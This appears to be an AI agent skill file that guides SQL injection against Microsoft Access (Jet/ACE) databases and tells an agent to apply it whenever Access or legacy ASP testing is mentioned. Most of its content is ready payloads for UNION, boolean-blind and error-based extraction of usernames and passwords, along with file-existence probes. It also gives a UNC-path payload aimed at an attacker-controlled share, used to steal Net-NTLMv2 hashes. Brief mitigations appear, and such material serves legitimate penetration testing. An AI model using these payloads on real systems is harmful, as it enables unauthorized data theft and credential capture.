| name | ms-access-sqli |
| description | Use this skill whenever testing for SQL injection vulnerabilities in MS Access databases, including Jet/ACE database engines. Trigger on any mention of MS Access, .mdb files, Access database, or SQL injection testing against legacy ASP applications. This skill covers enumeration, data extraction, and advanced exploitation techniques specific to MS Access. |
MS Access SQL Injection Testing
A comprehensive guide for testing SQL injection vulnerabilities in Microsoft Access (Jet/ACE) databases. MS Access has unique characteristics that require specialized techniques.
Key MS Access Limitations
No Comments
MS Access doesn't support SQL comments. Use NULL character (%00) to terminate queries:
1' UNION SELECT 1,2 FROM table%00
Or fix syntax with a tautology:
1' UNION SELECT 1,2 FROM table WHERE ''='
No LIMIT - Use TOP/LAST
MS Access doesn't support LIMIT. Use TOP for first N rows and LAST for rows from the end:
-- Get first 3 rows
1' UNION SELECT TOP 3 attr FROM table%00
-- Get last row
1' UNION SELECT LAST(attr) FROM table%00
No Stacked Queries
MS Access doesn't support multiple statements in one query.
String Concatenation
Use & or + for string concatenation:
1' UNION SELECT 'web' & 'app' FROM table%00
1' UNION SELECT 'web' + 'app' FROM table%00
Core Techniques
Chaining Equals (Boolean Blind)
MS Access allows unusual syntax like '1'=2='3'='asd'=false. Use this for boolean-based blind SQLi:
Extract substring from current column:
'=(Mid(username,1,3)='adm')='
Extract from another table (requires table name):
'=(Mid((select last(username) from (select top 1 username from users)),1,3)='Alf')='
Brute-force table names:
'=(select top 1 'lala' from <table_name>)='
-1' AND (SELECT TOP 1 <table_name>)%00
Brute-force column names:
'=column_name='
-1' GROUP BY column_name%00
'=(SELECT TOP 1 column_name FROM valid_table_name)='
IIF-Based Data Extraction
Use IIF() to create boolean conditions that trigger different responses:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
This returns 0 (200 OK) if true, or 'ko' (500 error) if false. Adjust TOP and MID indices to extract all characters.
Time-Based Blind (UNC Path)
Jet/ACE doesn't have SLEEP(), but you can force delays via UNC paths:
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
Point to:
- A slow SMB share
- A host that drops TCP after SYN-ACK
- A firewall sinkhole
The HTTP response time reflects the round-trip latency.
Enumeration
Get Table Names
Via system table (if accessible):
SELECT MSysObjects.name
FROM MSysObjects
WHERE MSysObjects.type IN (1,4,6)
AND MSysObjects.name NOT LIKE '~*'
AND MSysObjects.name NOT LIKE 'MSys*'
ORDER BY MSysObjects.name
Via brute-force (chaining equals):
'=(select top 1 'lala' from <table_name>)='
Use common table names:
users, admin, accounts, customers, products
orders, invoices, payments, transactions
employees, departments, categories
Get Column Names
Current table:
'=column_name='
-1' GROUP BY column_name%00
Other table:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
Common columns: username, password, email, id, name, created, updated
Data Extraction Patterns
UNION-Based
-1' UNION SELECT username,password FROM users%00
Note: MS Access requires a FROM clause in all subqueries and UNIONs. You must know a valid table name.
Boolean-Based (Character by Character)
Extract username from users table:
-- Position 1, character 'a'
'=(Mid((select last(username) from (select top 1 username from users)),1,1)='a')='
-- Position 2, character 'd'
'=(Mid((select last(username) from (select top 1 username from users)),2,1)='d')='
Increment TOP to get different rows, increment MID position to get different characters.
Error-Based
Web root path disclosure:
1' UNION SELECT 1 FROM FakeDB.FakeTable%00
File existence check:
1' UNION SELECT name FROM msysobjects IN '\\boot.ini'%00
1' UNION SELECT 1 FROM C:\boot.ini.TableName%00
Database filename guessing:
1' UNION SELECT 1 FROM name[i].realTable%00
Advanced: NTLM Credential Theft
Since Jet 4.0, queries can reference remote databases via IN '<path>':
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'--
Impact:
- Out-of-band exfiltration of Net-NTLMv2 hashes
- Potential RCE via Jet/ACE parser bugs (e.g., CVE-2021-28455)
Requirements:
- Registry key
AllowQueryRemoteTables must not be set to 0
- Outbound SMB/WebDAV must not be blocked
Mitigation:
- Set
HKLM\Software\Microsoft\Jet\4.0\Engines\AllowQueryRemoteTables = 0
- Block outbound SMB/WebDAV at network boundary
Useful Functions
| Function | Description | Example |
|---|
Mid(str, pos, len) | Substring (1-indexed) | Mid('admin',1,1) → 'a' |
LEN(str) | String length | LEN('1234') → 4 |
ASC(char) | ASCII value | ASC('A') → 65 |
CHR(code) | Char from ASCII | CHR(65) → 'A' |
IIF(cond, a, b) | If-then-else | IIF(1=1,'a','b') → 'a' |
COUNT(*) | Count rows | COUNT(*) |
TOP n | First n rows | SELECT TOP 10 * FROM t |
LAST(col) | Last value | SELECT LAST(id) FROM t |
Testing Workflow
- Confirm SQLi - Test basic injection with
' and UNION SELECT
- Determine column count - Use
ORDER BY or UNION SELECT NULL,NULL,...
- Identify table - Brute-force with chaining equals or query
MSysObjects
- Identify columns - Use
GROUP BY or brute-force with chaining equals
- Extract data - Use UNION-based if possible, otherwise boolean-based
- Check for advanced vectors - UNC path for NTLM theft, file access
Scripts
See scripts/ directory for:
generate_payloads.py - Generate MS Access SQLi payloads
brute_tables.py - Brute-force table names
extract_data.py - Extract data character-by-character
References